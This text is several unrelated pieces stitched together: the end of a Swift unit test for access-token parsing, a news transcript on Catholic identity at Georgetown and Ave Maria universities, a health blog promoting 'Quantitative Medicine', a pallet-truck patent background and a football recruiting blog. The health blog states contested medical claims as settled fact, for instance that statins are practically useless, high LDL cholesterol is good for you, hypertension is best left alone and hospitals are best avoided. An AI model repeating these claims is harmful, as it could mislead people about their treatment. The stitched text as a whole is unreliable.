XCTAssertEqual(accessToken.tokenType, tokenTypeString)
UBSDKAssert(date: accessToken.expirationDate!, approximatelyIn: expirationTime)
XCTAssert(accessToken.grantedScopes.contains(UberScope.profile))
XCTAssert(accessToken.grantedScopes.contains(UberScope.history))
}
func testParseInvalidJsonStringToAccessToken() {
let tokenString = "tokenString1234"
let jsonString = "{\"access_token\": \"\(tokenString)\""
let accessToken = try? AccessTokenFactory.createAccessToken(fromJSONData: jsonString.data(using: .utf8)!)
XCTAssertNil(accessToken)
}
}
|
BOB FAW, correspondent: This is “coming out day” at Georgetown University in Washington, DC. At this Jesuit institution, three dozen students celebrate homosexual and lesbian lifestyles even though the Catholic Church considers them immoral. Thomas Lloyd is president of Georgetown’s Gay Pride.
THOMAS LLOYD (Student, Georgetown University): By recognizing pride, Georgetown has become more true to its Jesuit values. Commitments to social justice are some of the most important and historically grounded parts of Catholic doctrine.
FAW: But what is sanctioned at one Catholic university is anathema at another: Florida’s Ave Maria University.
JIM TOWEY (President, Ave Maria University): This is a university that’s founded on biblical truth, on scripture, and on the sacramental richness of the Catholic Church.
FAW: At Ave Maria, ninety percent of the one-thousand-member student body are Catholic. Professors pledge to uphold Catholic beliefs. There are worship sites in every dorm, and mass is held three times a day. Its president, Jim Towey, who worked for the Bush administration as director of its faith-based and community initiatives office, also served as legal advisor for the late Mother Teresa. Ave Maria is determined to stay a course from which its president says other Catholic institutions have strayed.
TOWEY: In an age where modernity has attacked the whole idea of objective truth and the whole relativism that you see that’s pervasive in our culture, I guess this university’s not going to be here to be popular; it’s not here to try to please everyone. It’s here to try to be true to itself and its own Catholic identity.
FAW: Georgetown University, renowned for its academic excellence, has a different view of its Catholic identity. All students, though only half of the 7,000 undergraduates are Catholic, are required to take two theology and two philosophy courses.
Mass at Georgetown: “Lord, you are the giver of all good gifts.” “Lord, have mercy.”
FAW: Though students are not required to go to mass, there are many to choose from, and Catholic priests live in each dorm acting as mentors and friends. But Georgetown, which boasts “the largest campus ministry in the world,” also fiercely champions unfettered dialogue.
REV. KEVIN O’BRIEN (Vice President for Mission and Ministry, Georgetown University): What we did 50 years ago to promote our identity does not suffice today because the world is different, and our students and faculty are different. To quote something Father Hesburgh from Notre Dame would often say, “The Catholic university is a place where the church does its thinking.” And if that is to be the case, then we have to permit this free exchange of ideas.
FAW: Georgetown insists that welcoming groups like Gay Pride, even hosting a gay and lesbian center on campus, is part of the Jesuit’s priestly mission.
O’BRIEN: The purpose of the center is not to undermine the church’s teaching. It is a center for education. We try to teach our students and faculty and our alumni about issues of sexuality, of sexual identity and gender. That’s an expression of our Jesuit tradition of cura personalis, caring for each person mind, body, and spirit, in their unique individuality.
FAW: It’s an openness, a kind of tolerance Ave Maria’s president disdains.
TOWEY: They become bastions of relativism where your truth is your truth, my truth is my truth, the Catholic teaching is just one path. That’s not our view, and I feel sorry for those universities. I think they’ve lost their moral bearings, and I think they’ve lost their Catholic identity when they water it down to the point where everything’s true.
FAW: Still, many Georgetown students argue that this Catholic university has found the right mix of scholarship and religious character.
KEVIN SULLIVAN (Student, Georgetown University): I think it’s reaching a great number of students, non-Catholic and Catholic, and helping them to develop, grow in their own faith and figure out really how they can bring their faith into public life.
FAW: On Georgetown’s campus there are, of course, dissenting voices which contend that this university has strayed.
LOUIS CONA (Student, Georgetown University): Is it Catholic enough? I would say no. We have the Knights of Columbus, the Catholic Daughters, there’s all student-run organizations, but the university is not promoting this stuff. We have a mass, but are they teaching you about this stuff? Are they promoting this as an ideal, as a good?
FAW: And you would say no.
CONA: I would say they are a little passive on that.
FAW: Senior Andrew Schilling lives at the Knights of Columbus house just off campus. His letter to the student newspaper opposing same-sex marriage provoked withering criticism of him. Schilling says when Georgetown lets gays and lesbians advocate, Georgetown’s Catholic identity is diluted.
ANDREW SCHILLING (Student, Georgetown University): It’s not so much that Georgetown can’t support homosexuals and treat them with respect and the dignity that they deserve, but it’s rather that the university remains silent about the church’s teaching and position with regard to homosexuality, with regard to human sexuality in general.
FAW: But gay pride activist Thomas Lloyd counters that his faith has been affirmed precisely because Georgetown is Catholic.
LLOYD: I wouldn’t even think about how to reconcile my queer identity with my Catholic faith identity if I hadn’t come to Georgetown. What does it mean to be gay and Catholic? Can those two go together? And my experience at Georgetown with Jesuits and with other people who are Catholic and identify as queer on campus show me that you can.
FAW: On the campus of Ave Maria, a debate on the role about groups opposed to Catholic teachings seems unlikely.
CHRIS AUDINO (Student, Ave Maria University): Take what you want, leave what you don’t: as Catholics we believe that’s not the way faith is meant to be lived.
FAW: Nor do students here feel they’ve been short-changed because they don’t have direct exposure to gay and pro-choice groups permitted on the Georgetown campus.
PAIGE PILARSKI (Student, Ave Maria University): Even though our campus does not have such groups as that, within the classroom, you're talking about these topics in a way that presents, I think, both why do people believe what we believe with regards to abortion or homosexuality, and why do we believe what we believe?
MIKE WATKINS (Student, Ave Maria University): The professors represent their views well, and they present the argument in such a way that is challenging for us as Catholics to engage the argument and try and prove it false.
TOWEY: If a group wanted to be pro-choice, pro-abortion Catholics we would not want to try to endow that group with legitimacy. That’s not in some way curtailing academic freedom. It’s recognizing that academic freedom has limits.
FAW: And many Ave Maria students agree their faith has been strengthened largely because the Catholic identity here is so pervasive.
ELIZABETH ALTOMARI (Student, Ave Maria University): It’s definitely grown. Being able to experience it every day only makes you appreciate it and come to understand it more. Being able to go to mass every day, and being able to go to the chapel only allows you to grow deeper in your faith.
FAW: And fostering that, says Ave Maria’s president, is the true role of a Catholic university.
TOWEY: What’s needed now is a Catholicism rooted in scripture, sacramental in nature, that’s open to engagement with the world without losing its own identity.
FAW: It isn’t easy. Ave Maria to get more students recently slashed tuition. Georgetown policies have prompted harsh criticism and loss of financial support from some alumni; and if the debate now underway at many of the country’s nearly 270 Catholic colleges and universities seems a bit untidy, that’s precisely because it is.
O’BRIEN: That’s where there’s a creative tension to be Catholic and university, and it is. Yes, is it messy sometimes? And is it challenging? Yes. Those same questions that play out in parishes and around family dinner tables, they play out in a university, because we’re all asking the question: what does it mean to be Catholic today?
FAW: Questions reverberating in the world at large and on Catholic campuses.
For Religion & Ethics NewsWeekly this is Bob Faw in Ave Maria, Florida. |
In the News
Marathon Drugs Increases Price 70-Fold – 2/10/17 More predation by pharma. Marathon has gotten a decades old muscular dystrophy drug, deflazacort, approved and is charging $89,000 a year for it. It’s price in Europe is under $1500/year. Where are the free market forces? Why aren’t our elected officials protecting us from this egregious practice?
Promising New Prostate Cancer Treatment – 2/2/17 A new and very effective prostate cancer treatment, reported here, has a two-year relapse rate of around 25%. Though clearly not a cure, it has a major benefit in that, unlike all other treatments, it has no. Light fibres are inserted in the prostate, rather like a biopsy, and a light-sensitive drug is administered. The cancerous tissue is killed, and all else left alone. Would certainly be worth a try.
Hypertension Developing Late in Life Halves Onset of Dementia – 1/21/17 Research here indicate that people who develop hypertension in late in life has almost half the reate of dementia. Yet more proof that hypertension has a purpose and unless it is off the charts, is best left alone.
Lowest Stroke Rates in Older Baby Boomers; Younger People Rising– 9/12/16 reports the American Heart Association, here. There could be numerous factors at work. Less smoking among the baby boomers and less healthy diet among the young would be our guess.
Sugar Lobby Promotes Sugar– 11/13/16 Surreal. JAMA reports here that the sugar lobby has been systematically attempting to put the blame for heart diseases on something other than sugar. What were they supposed to do? They’re the sugar lobby. The real question is, “Why did Standard Medicine buy it?”
Zika Breakthrough– 8/30/16 Reported here and elsewhere, two existing (already approved) drugs appear to be effective against Zika. If this pans out, it will speed things up immeasurably.
AHA Limits Added Sugar– 8/17/16 A sensible recommendation from the American Heart Association limits sugar for children aged 2-18 to fewer than 6 teaspoons a day. Paper here. A better recommendation: Fewer than 0 teaspoons added sugar per day for all children aged 0-110.
Calcium Supplements Linked to Dementia– 8/17/16 A report in the journal Neurology, here, links calcium supplements to dementia in some groups of women. The risk, alarmingly, is double for this group.
Suppression of Antioxidants Kills Pancreatic Cancer cells– 7/28/16 Researchers at Cold Springs Harbor Labs find that antioxidants are, in some cases, aiding cancer, and by suppressing the antioxidants, the oxidants are then able to kill the cancer. Link here.
High Cholesterol Found to be Cancer Protective– 7/9/16 A study presented at a British Cardiovascular Society Conference, link here, finds that high cholesterol is significantly protective for four common cancers: breast, prostate, lung, and colorectal. Reasons for this are unknown.
Zinc Acetate Lozenges Reduce Length of Common Cold– 7/6/16 Zinc for a cold is a Dr. Mike favorite. Here’s some science to back it up. A study published here finds that Zinc Acetate Lozenges shorten common colds by three days.
BMJ Article: Bad Cholesterol Isn’t Bad After All– 6/13/16 This is huge. In BMJ Open, here, a peer reviewed study finds that high “bad” cholesterol, aka LDL-cholesterol, is inversely associated with mortality. Higher levels=less death. The stuff is good for you. This is heresy of the first water. Expect a huge blow-back. The lipid hypothysis—that high LDL cholesterol causes heart disease—is ingrained in the medical community like an eleventh commandment. It has never been proven, and kudos to BMJ for daring to run this article. (We would crow that we have repeatedly posted that the dangers of LDL cholesterol were nonexistent, but we will be nice and refrain.)
Stem Cell Injection Reversed Strokes– 6/6/16 At Stanford, reported here, stroke patients receiving injection of mesenchymal stem cells directly into the brain experienced, in some cases, dramatic improvement. If this research holds up, this is an astounding result. “This wasn’t just, ‘They couldn’t move their thumb, and now they can.’ Patients who were in wheelchairs are walking now,” said lead researcher Steinberg.
Bariactric Surgery Now Recommended for Diabetes– 5/26/16 The American Diabetes Association (ADA), and other groups, have now endorsed bariactric surgery (stomach stapling) as a treatment for adult onset or type 2 diabetes (ADOM). We are not making this up. Report here. Of course the ADA dietary recommendations are almost guaranteed to prolong AODM, so we suppose some sort of strange logic is at work here. For the surgery-free, drug-free Quantitative Medicine method, click here.
Low Salt May Be Dangerous – 5/20/16 The prestigious British journal Lancet reports here that low salt intake is more dangerous than high intake. This is heresy, of course, and the article, the magazine, and the authors have already been condemned and will be burnt at the stake. The QM view is that high salt intake is a fairly minor factor. In this article, high intake is worse only for those with high blood pressure, whereas low salt intake is dangerous to those with high blood pressure, and those with normal blood pressure. Again, standard-practice medicine has been making things worse.
JAMA Discovers QM – 5/19/16 The prestigious Journal of the American Medical Association (JAMA) reports here that secession of of smoking, non-heavy drinking, and exercise reduce cancer. Now while it’s wonderful that they have now seen the light, or at least are circling around it, hasn’t this been obvious for the last 50 years? They studied only white males. Are they setting us up for a sequel? Let’s spoil that one: it works for everybody.
Calcium/Vitamin D Causes a Stroke or Heart Attack for Each Fracture prevented – 5/12/16 From a Norwegian study reported here, “Our analysis shows that if 100,000 65-year-old women take 1000 mg calcium every day, 5890 hip fractures and 3820 other fractures would be prevented. On the other hand, as many as 5917 heart attacks and 4373 strokes could be caused.” A horrid tradeoff made worse by the fact that osteoporosis is easily prevented and reversed with no supplements needed. See posts here, here, and here
Medical Error Third Leading Cause of Death in U.S. – 5/3/16 This is not news. As a leading cause of death in hospitals,medical error has been a focal area for almost 20 years. However, findings published here in the British Medical Journal.indicate the the problem is far from solved. Deaths due to medical error represent around 10% of deaths, some 250,000. One problem, according to the article, is that adequate records aren’t kept: the deaths are often attributed to something else. Best strategy: stay out of hospitals.
Big Pharma to World: Take Something! – 4/21/16 From JAMA, here, a trial was conducted for patients who couldn’t tolerate stains.(42%, in fact). The “solution” was to give them ezetimibe, a drug with no known benefit and some probably harm, a drug currently approved for a very, very narrow cohort of off-the-charts high cholesterol. Only 27% could not stand this drug, so the trial was considered a success. The drug industry seems insistent on cramming ezetimibe down our throats. To even embark on this strange experiment shows a callousness and disregard for patient benefit that surprises even us.
Is Fructose Highly Dangerous? – 4/21/16 Maybe. From UCLA we have a finding that fructose is linked to detrimental changes to hundreds of brain genes. Press release here. Scary stuff, and it makes some sense. The body goes to a lot of trouble to keep dietary fructose out of circulation, converting most of it to a concentrated form of glucose called glycogen, and rapidly removing any excess that does get into circulation. The reason for this aversion to fructose is not known, but the research sited above may provide a significant clue. Besides a major sugar component of fruit, table sugar is a 50-50 mix of fructose and glucose, as is high-fructose corn syrup, a ubiquitous food additive.
Are Proton Pump Inhibitors Overprescribed? – 4/15/16 A new report In the Journal of the American Society of Nephrolog seems to indicate that long term use of proton pump inhibitors, which significant reduce stomach acidity, causes increased kidney disease. Such drugs are widely prescribed and are also available over-the-counter. Though likely safe for short-term use, longer term consumption seems to have problems.
FDA Pulls Plug on Combo Drug – 4/15/16 In a rare glimmer of sanity, the FDA has withdrawn approval on a drug called Niaspan, which is a combination of statins and niacin. The approval was made in 1997. Given that is know that statins are practically useless, and that niacin actually increases heart problems, you may wonder what they were waiting for. So do we.Might they now consider the rest of the dangerous drugs out there? Details here.
Interesting Alzheimer’s-Insulin Result – 4/13/16 An NYU business school researcher has connected some interesting dots. It is well know that high insulin is involved in Alzheimers, but the connection wasn’t clear. It seems that the enzyme that breaks down insulin is the same one that breaks down amyloid-beta plaque, the tangled mess that is a hallmark of Alzheimer’s. Schiller’s idea is that perhaps the all the enzyme resources are spent on the high insulin, and the amyoid-beta doesn’t get removed. Details here.
Another Early Cancer Detection Breakthrough – 4/8/16 Researchers at Case Western Reserve University in Cleveland, OH, have created an optical biosensor for cancer detection that is a million times more sensitive than previous versions, pointing the way toward an effective early detection system for cancer and other illnesses.This might greatly improve early detection, which is ket to fighting cancer.Details here.
Choral Singing May Reduce Cancer – 4/5/16Researchers in Wales have determined that choral group singing improves levels of several anti-cancer hormones and biochemicals. Paper can be found here. In view of the next news item, the song Java Jive should probably be included in the repertoire.
Coffee Reduces Colorectal Cancer 50% – 4/1/16 Researchers at USC report “We found that drinking coffee is associated with lower risk of colorectal cancer, and the more coffee consumed, the lower the risk.” The press release is here. Dramatics reductions of up to 50% were seen. This area has been controversial for 20 years. The mechanism of cancer prevention is unknown, though it doesn’t seem to be caffeine, as decaf works as well.
Early Cancer Detection Breakthrough – 3/29/16Researchers at UCLA have developed a PET probe capable of producing far better images in certain types of cancers. With cancer, early detection is key. Clinical trials of the procedure may begin this year. Further info here.
Blonds Found to Be Non-Dumb – 3/23/16 A study here has found that blonds have a slightly higher IQ that non-blond people.Quoting,”Blonde women have a higher mean IQ than women with brown, red and black hair. Blondes are more likely classified as geniuses and less likely to have extremely low IQ.” It is hard to predict what researchers will think of to do research on. How about: “Do Blonds Have More Fun?”
Meal Time More Important Than Previously Thought – 3/17/16 Every traveler know that disrupting the circadian rhythm—the sleep cycle— is no picnic. New research from the Weizmann Institute indicates that not only is the body locked into this cycle, but even our mitochondria are. Mitochondria are tiny bacterial like cells found within almost all our own cells that convert the food we eat to energy. They apparently have time-driven hungry states, wherein they are ready and willing to convert the food to energy, and sleepy state as well. This means having meals at a regular time is more critical than previously thought.
Alzheimer’s and Brain Research – 3/17/16 There are almost daily reports of discoveries or possible breakthroughs involving Alzheimer’s and the brain. Just today, there are three such reports, all on mice, and so it is unknown if the results would carry over. There are reports of new neurons grown from stem cells, lost memories reactivate through light flashes, and increasing available neural energy by injecting pyruvate, an intermediate of glucose metabolism. A very active area.
Antidepressants Increase Mortality – 3/16/16 A study from Auburn and University of Alabama show a slight increase in mortality with uses of second generation anti-depressants.Report here. Knowledge of this will likely offset any anti-depression benefit as well. I much stronger anti-depressant that features a very strong reduction of mortality is exercise.
Canadian Medicine Discovers Exercise – 3/14/16 Canadian Medical Association announces: “Many doctors and their patients aren’t aware that exercise is a treatment for these chronic conditions and can provide as much benefit as drugs or surgery, and typically with fewer harms.” Not really. It actually provides A LOT MORE benefit. Bit it’s a step for organized medicine. Next week: hot water.
Exercise Reduces Alzheimer’s 50% – 3/11/16 No surprise at our end. But here, another study demonstrates the most effect way to prevent Alzheimer’s.
Alzheimer’s Caused By Microbes? – 3/10/16 Researchers have reported that a virus and two types of bacteria are a major cause of Alzheimers. A microbial connection has been (and probably will remain) controversial. However, the causes of Alzheimer’s are not known.
Magic Pill Announced – 3/4/16 Drug companies adore lifelong drugs, and the latest “breakthrough” combines statins, blood pressure reducers, aspirin, and adult onset diabetes medication, and is called a Polypill. However none of these four have shown any mortality benefit, and all of them have serious side effects. But in combination, they are suddenly magical? The idea seems to be to get rid of screening and blood testa altogether, and put everyone over 50 on this pill. This idea is so bad, it would be praising it to call it crazy.
Breast Cancer Breakthrough – 3/3/16 A new drug combo is very effective against the HER-2 variant of breast cancer. A fourth of those treated saw dramatic reduction in tumor size, while in an additional 11% the tumor completely disappeared, in under two weeks. Details here.
Television Exposure Directly Linked To A Thin Body Ideal In Women – 2/22/16 The only real question here is: Are they paying grown-ups to come up with this? It’s a real study. Details here. What will they study next? How about: Driving Blindfolded May Increase Accident Risk.
Quick Selector
Quick Selector
Are SGLT2 Inhibitors a Bad Idea?
SGLT2 Inhibitors are the Latest Treatment for Adult Onset Diabetes. However, Many Treatment, Like Insulin, Have Done More Harm Than Good. Caution is Advised.
Brilliant basic science research continues its quest to understand human physiology. Pharmaceutical science continues its quest to cash in on the latest basic science discoveries. I want to illustrate this specifically with SGLT2 inhibitors. In that setting I also want to ask what is the ethical duty of the medical profession towards those suffering with Adult Onset Diabetes Mellitus (AODM)?
SGLT2 inhibitors block the type 2 sodium-glucose-transport system in the kidneys. What the heck is that?
The kidneys serve as a passive filter, somewhat like cheesecloth, as an active pump emitting undesired chemicals in the urine and as an active pump holding onto presumably desirable chemicals. The kidneys are very good at actively holding onto glucose; it exchanges, spits out, sodium, in order to hold onto glucose. There are two such known systems, I bet you guessed, called SGLT1 and SGLT2.
In diabetes blood glucose can become high enough to exceed the capacity of the kidneys to hold onto glucose and then it escapes into the urine; called glycosuria. In Type I the threshold is about 150 mg/dl before the glucose escapes into the urine. In AODM the threshold can be even higher, much higher, so by using the SGLT2 inhibitors those with AODM more or less urinate out a lot of their glucose. It does seem odd, another blog post to discuss this, that the kidneys try even harder to hold onto glucose in AODM than in health or even Type I DM.
Those advocating the use of SGLT2 inhibitors point to water-weight loss, consequent, though temporary, lower blood pressure and other virtues. They minimize currently known side effects like ‘yeast’ infections in both men and women and confess that we don’t really know anything about long term consequences. What we do know is that blood glucose goes down. Analogies are made to mice models without, called ‘knock out mice,’ SGLT2 who seem to be doing alright; I mention this to give them their due for clever work looking at SGLT2 inhibitors. All and all from the basic science, pharmaceutical and clinical science perspective this is all very elegant work.
But is it a good idea for every doc on the block to be handing out SGLT2 inhibitors? At first blush it might seem that giving someone with AODM a new drug that lowers their glucose can only be helpful. In fact the argument goes something like this, taken from Medscape, a largely doc portal:
“According to the Center for Disease Control and Prevention, diabetes presents features of an epidemic: it is common, disabling and deadly. Approximately 25.8 million people in the USA (8.3% of the population) have been diagnosed with diabetes. It is the leading cause of blindness, kidney failure and non-traumatic foot amputation, and it has been reported as the seventh leading cause of death as listed on the US death certificates in 2007. It has been estimated that incase the current trend continue, one of three US adults will have diabetes by 2050. From the financial point of view, the total cost (direct and indirect) of diabetes in 2007 was $174 billion of which $116 billion was direct medical cost.”
OK, with that ringing in your ears, it seems urgent to find every single drug that ameliorates AODM and docs should be writing prescriptions for those drugs at the drop of the proverbial ‘hat.’
But wait. It is still common to prescribe injectable insulin for AODM even though, given alone, this has been shown to increase the risk of cancer by nearly 50%. It took years and the lives of many people before this was known and still it is common practice.
So, caution is in order with any new approach to an old disease. However even this is not my objection to using the SGLT2 inhibitors. I have an even more broadly-based objection.
In the words of a better, more persuasive writer, my objection would lead you to this conclusion: it is the ethical duty of the medical profession to always and everywhere advocate personal behavior and cultural trends which support people in overcoming AODM by the simple, powerful and effective expedients of better diet, better sleep and more, and more effective, exercise. My claim is few do this not merely from lack of will power but from the continuing misdirection of the medical and pharmaceutical communities that such a simple cure is impossible but for the supermen and women among us. This is not so; with the conviction that it is possible, and quantitative and reliable guidance, anyone can do it.
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Why does Quantitative Medicine work?
Many sites offer nice-sounding advice about nutrition and exercise, but almost none have actually put this advice to work in a large-scale clinical setting. Starting in the late 90s, Dr. Mike Nichols operated a clinic wherein each patient was quantified with blood tests and other measurements, and an optimum diet and exercise regime suggested.
This became a continual process and Dr. Mike has accumulated data on hundreds of people for almost 20 years. At this point in the process, he knows what works, what doesn’t, how to restore health, slow aging, and block degenerative disease. But the formula is different for everyone, and without measurement, lifestyle recommendations are just a medical guessing game. Is Paleo best? For some, sure. But without measurement, there is no way to tell.
But more importantly, when the optimum lifestyle is determined, implemented, and actually achieved, almost all people get well, and life’s chronic diseases are slowed, often reversed.
This is no idle claim or hopeful promise. This has already worked in a clinical setting, long-term and with real people. Given how different people are, it is folly to try to apply a one-size-fits-all set of recommendations. The sooner this is realized, the faster the planet will get well. Quantitative Medicine is the future.
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Mike Nichols, M.D.
Charles Davis, Ph.D.
What Is Quantitative Medicine?
Quantitative medicine is the practice of determining and modifying your health guided by direct measurement of meaningful biological markers. Everyone is different. The best diet is unique to each of us. Diet markers must be directly and precisely measured.
Why Are We Doing This?
My practice has been highly successful. Many many people have gotten well, have avoided degenerative diseases, have extended their lives. But my practice is full.
By starting this blog, I am taking the first steps to make Quantitative Medicine available to everyone. You, the patient, supply the self-discipline, physical, mental, and spiritual perseverance, and we will supply the information and resources you need to realize the full benefits of Quantitative Medicine.
By measurement, an optimally healthy lifestyle can be determined for anyone. The results are profound and pervasive. Degenerative disease is prevented or rolled back. Longevity – healthy active longevity – is increased. This has worked for over 2000 patients.
This blog is just starting. There will be videos, books, ebooks, ebooklets, on-line analysis tools, in short, everything you will need. Some will be free, and some will not. None of it, though, will be expensive.
For now we are just getting started. A lot more information is coming, so please stay tuned. |
The present invention relates in general to end controlled walkie/rider pallet trucks commonly used for picking stock in large warehouses and, more particularly, to a supplemental walk along control arrangement for improved operation of such pallet trucks.
A typical walkie/rider pallet truck includes load carrying forks and a power unit having a steerable wheel, a steering control mechanism, a brake including a deadman brake mechanism, an electric traction motor, a storage battery and a platform onto which the operator may step and ride while controlling the truck. The steering mechanism normally has a handle mounted at the end of a movable steering arm with the handle including controls for raising and lowering the forks and rotatable twist grips or comparable devices to control the speed and direction (forward and reverse) of the truck. A switch for reversing vehicle travel direction when traveling in the power unit first or forward direction and a horn switch are also normally provided on the handle.
In stock picking operations, a truck operator typically follows a winding, unidirectional route through the warehouse, picking up stock in a predetermined sequence in order to maximize productivity. The operator normally walks alongside the truck when the distance along the route between picks is short and steps onto the truck platform to ride when the distance between picks is longer, for example twenty or more feet. When the operator is riding on the truck platform, it is desirable for optimum work productivity to move the truck at higher speeds than when the operator is walking beside it. To this end, speed controllers that include high and low speed control circuits are provided.
For movement of the truck, the operator grasps the handle and moves the steering arm into a truck operating range between a generally vertical (up) braking position and a generally horizontal (down) braking position. If the operator releases the handle, the deadman brake mechanism, for example comprising an arm return spring, forces the arm to the up braking position which actuates a vehicle brake, for example a spring-loaded brake, to stop the truck. The operator can also actuate the brake by bringing the steering arm to the down braking position. Thus, the walkie/rider pallet truck may be in either a braking or non-braking mode, depending on the position of the steering arm within specified braking and operating arcs.
Rotation of the twist grips controls movement of the truck: rotation of either grip in one direction causes the truck to move with the power unit leading, the forward direction, while rotation in the opposite direction causes the truck to move with the load carrying forks leading, the backward or reverse direction. Increased rotation of the grip in either direction, when operated in either the walkie or the rider mode, results in an increase in the power supplied to the electric motor causing the truck to move at a higher speed in the corresponding forward or reverse direction.
In addition to the motion control provided by the rotatable twist grips, rider pallet trucks may also include side or xe2x80x9cjogxe2x80x9d switches. The jog switches can be used by an operator walking alongside the truck to accelerate the truck to a walking speed of around 3.5 miles per hour (mph) (5.6 km/hr) to move from one stock pick position to the next stock pick position. A single jog switch is normally provided on each side of the handle either on an outer portion of the handle or on an inner, protected portion of the handle. An example of another jog switch arrangement, wherein a pair of switches, one on the outside of the handle and one on the inside of the handle, is provided on each side of the handle and both switches must be activated to move the truck, is illustrated in U.S. Pat. No. 5,245,144 which is entitled WALK ALONG HAND GRIP SWITCH CONTROL FOR PALLET TRUCK which issued on Sep. 14, 1995 to the assignee of the present application and is incorporated herein by reference.
The efficiency of order picking is severely hampered if the brake is activated every time an operator releases the steering arm. Thus, brake override, or coasting, systems have been developed to override the deadman brake mechanism by preventing the steering arm from entering the up braking position when the operator releases the handle/steering arm while walking alongside the truck. During typical operation, an operator may use one of the jog switches to accelerate the truck to walking speed. When approaching a stopping point, the operator releases the jog switch and allows the truck to coast to a stop while the operator moves to an adjacent rack or shelf to pick up an item and place it on a pallet on the forks. The operator plans the coast of the truck so that the pallet on the forks will stop near the operator""s position at about the same time that the operator is ready to place the item onto the pallet. After loading the pick onto the truck, the operator again operates one of the jog switches and moves the truck toward the next pick location.
The rate of acceleration and speed of the truck are controlled by switching a jog switch on and off. The coast distance is controlled by controlling the truck""s travel speed when the jog switch is released and of course the position of the truck relative to the pick when the jog switch is released. Generally, use of the vehicle brake is not necessary during coasting operation; however, the vehicle brake is available to the operator as needed.
While coasting increases the efficiency of picking operations, after making a pick, the operator still must move from the forks to the handle to once again move the truck using either the twist grips or the jog switches. Over the course of a day""s picking operations, the operator may walk a substantial distance just to be able to once again operate the truck after such coasting/picking operations.
Accordingly, there is a need for a supplemental walk along control for walkie/rider pallet trucks that would substantially reduce if not eliminate the short but numerous walks from the forks of a truck to the control handle of the truck that an operator must now make between closely spaced picks. The supplemental walk along control would be placed closely adjacent a load backrest associated with the forks so that rather than having to walk to the handle, the operator can control the truck from the vicinity of the load backrest. The operator would be able to jog the truck from pick to pick in the coast mode and could apply the brake by releasing the coast mode to enable the deadman mechanism to apply the vehicle brake.
This need is met by the invention of the present application wherein supplemental walk along control for walkie/rider pallet trucks is provided by supplemental jog switches and coast release switches provided substantially adjacent to the bases of load carrying forks of the trucks. The supplemental jog switches are enabled for coasting operation of the trucks so that, for closely spaced picks located along substantially straight portions of pick routes, operators need only advance to the bases of the load carrying forks and activate the supplemental jog switches to accelerate the trucks to walking speed. If the trucks"" brakes need to be applied, the operators can activate the coast release switches to release the coast mode and enable deadman brake mechanisms to brake the trucks. A steered direction detector may be provided on each truck to determine the direction of the steered wheel of the truck. If the steered wheel is not directed substantially straight ahead, as should be the case for travel along a substantially straight portion of the pick route, then operation of the truck from the supplemental jog switch(es) may be disabled.
Additional features and advantages of the invention will be apparent from the following description, the appended claims and the accompanying drawings. |
Sunday, February 3, 2013
Scouting Report: 2014 Quarterbacks
Norman (OK) North quarterback David Cornwell
Much has been made in recent weeks and months about the [lack of] quarterback offers for the class of 2014. Numerous guys have been rumored to have interest in Michigan, but the offers aren't coming easy. At least three guys (David Cornwell, Michael O'Connor, and Wilton Speight) are slated to talk to the coaches this coming Wednesday, and there's a good chance that at least one of them will be offered at that time. Here I'll do a brief rundown of the guys on Michigan's radar, listed in order of my preference. Keep in mind that I'm calibrating for how well these players would fit at Michigan specifically, not necessarily their overall value as college football prospects.
1. David Cornwell - QB - Norman (OK) North: The 6'5", 235-pounder has offers from Auburn, Indiana, Tulsa, Virginia Tech, and Washington State. He's a tall guy with good pocket awareness and the ability to throw the ball with good velocity, either standing in the pocket or on the move. He's able to change arm angles and keep his eyes downfield when scrambling. Physically, he'll be ready to play early. Cornwell lacks great foot speed, but he's quick enough to keep plays alive.
2. Michael O'Connor - QB - Bradenton (FL) IMG Academy: The 6'5", 205 lb. prospect has offers from Akron, Buffalo, Michigan State, Mississippi State, South Florida, Toledo, and Vanderbilt. The first thing that jumps out about O'Connor is his running ability; he's no Denard Robinson, but he can move for a kid his size. He has a fairly strong arm, but his footwork gets sloppy at times, which I can see leading to some inaccuracy and timing issues.
3. Caleb Henderson - QB - Burke (VA) Lake Braddock:The 6'4", 223 lb. prospect has offers from Illinois, Maryland, Michigan State, North Carolina, Virginia, and Virginia Tech. He's a very heady football player. He takes care of the football, shows good footwork, stays balanced in the pocket, and is always ready to throw. Henderson doesn't have great arm strength, but he's a guy who looks like he's in control of the game. He reminds me a little bit of former Iowa quarterback Drew Tate.
4. Tyler Wiegers - QB - Detroit (MI) Country Day: The 6'4", 200 lb. prospect has offers from Central Michigan, Toledo, and Western Michigan. He has a good, strong arm and stands tall in the pocket. When he's in the pocket or on the move, he always has the ball cocked and ready to throw. He already plays in a pro-style offense, which is good, but his three-step drops in high school will turn into five- and seven-step drops in college. Wiegers is not a dynamic runner, but he's stout enough to shake off some tacklers. One concern I have about him is his lack of progressions; he has a good receiver in 2014 prospect Maurice Ways, but Wiegers tends to pre-determine where the ball is going. There are few highlights where he really scans the field and makes check-downs, which is always a problem at the higher levels.
5. Chance Stewart - QB - Sturgis (MI) Sturgis: The 6'6", 205 lb. quarterback held a Western Michigan offer before committing to Wisconsin. When I watch Stewart play, what I see is John Navarre. Stewart is a tall kid with some room to fill out. He has decent arm strength, but his throwing mechanics are a little sloppy and the ball drops down and loops a little bit, elongating his delivery. He's not a running threat and would be somewhat of a sitting duck in the pocket. I can see him fitting well in Wisconsin's offense during the Bret Bielema years, but he doesn't seem to fit Al Borges's ideal.
6. DeShone Kizer - QB - Toledo (OH) Central Catholic:The 6'4", 205 lb. quarterback has offers from Boston College, Bowling Green, Illinois, Louisville, Michigan State, Nebraska, Penn State, Syracuse, and Toledo. He's a good runner, but he's very unpolished as a quarterback. His footwork is messy, and he has a long, looping delivery like Byron Leftwich. And despite all that winding up, he doesn't have a great deal of arm strength.
7. Travis Smith - QB - Ithaca (MI) Ithaca: The 6'2", 200 lb. prospect has a lone offer from Central Michigan. There's a lot to like about this kid. He runs his offense very efficiently, seems to do a good job of making pre-snap reads, is a very accurate passer, and runs the ball well. A couple concerns I have are his size (if he lists 6'2", he's probably 6'0" or 6'1") and his arm strength. I don't think he has the ability to drop straight back and hit a receiver streaking down the sideline 50 yards away. He also runs a shotgun spread offense, which might slow the learning curve in an offense like Michigan's.
